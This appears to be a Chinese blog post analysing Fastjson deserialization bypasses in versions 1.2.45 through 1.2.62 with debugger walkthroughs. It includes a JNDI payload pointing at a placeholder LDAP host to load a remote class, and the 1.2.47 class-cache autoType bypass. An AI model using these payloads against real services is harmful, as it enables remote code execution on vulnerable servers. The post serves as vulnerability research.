Fastjson各版本漏洞分析(下)

fastjson 1.2.45

1.2.44中对[进行了判断,我们用1.2.43的POC,然后下个JSONException的异常断点,看看是怎么判断的

运行后,在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String,
java.lang.Class<?>, int)成功拦截

分析一下,发现如果开头是[就直接抛出异常

1649991071_6258dd9fa1c09e2046d39.png!small?1649991072045

那再看看1.2.41里面的绕法呢,前面加个L,后面加个;,发现会检查结尾是否为;,是的话也抛出异常

1649991086_6258ddae200f8b7f23fc9.png!small?1649991086510

当然这个版本既然有RCE,肯定不是之前的方法绕过的,这次是通过不在黑名单里面的类来绕过的

{“@type”:“org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”,“properties”:{“data_source”:“ldap://x.x.x.x/Exp”}}

** fastjson 1.2.47**

这个版本绕过了autoTypeSupport检测, ** 不开启** ** ast** ** 依然可以利用** (1.2.25 -
1.2.45 这些绕过都是需要开启ast的)

Payload:

{
"a":
{
"@type": "java.lang.Class",
"val": "org.example.User"
},
"b":
{
"@type": "org.example.User",
"username": "123456",
"age": 123
}
}

1649991103_6258ddbf310ca2a1eea5a.png!small?1649991103544

绕过原理:

利用到了java.lang.class,这个类不在黑名单,所以checkAutotype可以过

这个java.lang.class类对应的deserializer为MiscCodec,deserialize时会取json串中的val值并load这个val对应的class,如果fastjson
cache为true,就会缓存这个val对应的class到全局map中

如果再次加载val名称的class,并且autotype没开启(因为开启了会先检测黑白名单,所以这个漏洞开启了反而不成功),下一步就是会尝试从全局map中获取这个class,如果获取到了,直接返回

debug分析:

在setXXX的地方下断点,运行看下调用堆栈信息

setUsername:28, User (org.example)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:124, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:1078, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:271, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
main:20, App (org.example)

进入到parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)开始下断点重新运行分析

1649991120_6258ddd0619687f0d0d4e.png!small?1649991120710

跟进,一直F8,识别到传入的参数a,继续向下,识别到后面还是{开头后,递归调用parseObject

1649991133_6258ddddea4c36d23986a.png!small?1649991134281

继续往后识别到@type

1649991141_6258dde51183640081a1a.png!small?1649991141622

然后就是进入checkAutoType检查,因为java.lang.Class在this.deserializers.buckets里面,所以直接返回了class
java.lang.Class

1649991147_6258ddeb9c95a5c01bc4e.png!small?1649991148262

通过了checkAutoType检查后,常规调用deserializer.deserialze进行反序列化,但这里是com.alibaba.fastjson.serializer.MiscCodec#deserialze

1649991153_6258ddf192c0b4b52a1bb.png!small?1649991153913

这里会取出我们的变量val的值,也是我们传入的恶意类

1649991167_6258ddff959b363e9597f.png!small?1649991168307

然后就是一系列的Class的判断,一直到Class.class,然后会进入loadClass

1649991174_6258de0673bfa5af3b060.png!small?1649991175082

跟进loadClass,一直跟,发现在cache为true的时候,会直接给咱们的恶意类加入到mappings中,而这个mappings是不是看着很眼熟?后面分析

1649991185_6258de111b48ef95a8e17.png!small?1649991185666

这个cache默认就是为true

1649991196_6258de1c3e49144832bb5.png!small?1649991196571

然后开始处理字段b,和上面类似,我们一直到checkAutoType

可以看到此处如果开启了autoTypeSupport检查会进入黑名单检查,反而影响我们的payload

1649991206_6258de26b91ed309c5ad0.png!small?1649991207308

跟进下方的getClassFromMapping,可以看到就是上面我们添加恶意类的那个Mapping,从此绕过了checkAutoType检查

1649991213_6258de2dc38b1d3ac8caa.png!small?1649991214659

到此差不多就结束了,大佬就是大佬,太牛了

** fastjson 1.2.62**

1.2.47后肯定修复了,怎么修的呢?我们用1.2.62去试试1.2.47的POC

1649991223_6258de374e8e6e54c1601.png!small?1649991223839

抛出了一场,然后下个异常断点,分析一下,看样子是前面某个地方设置了autoTypeSupport的值

1649991230_6258de3e0ef46bf9acecb.png!small?1649991230476

咱们追踪一下这个变量,下个字段断点

1649991244_6258de4c9ca7bc1675951.png!small?1649991245445

发现来源是这

1649991252_6258de54c1baaf37fd9cb.png!small?1649991253417

跟一下AUTO_SUPPORT,原来是从配置文件里面读是否开启了autoTypeSupport。。。大意了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值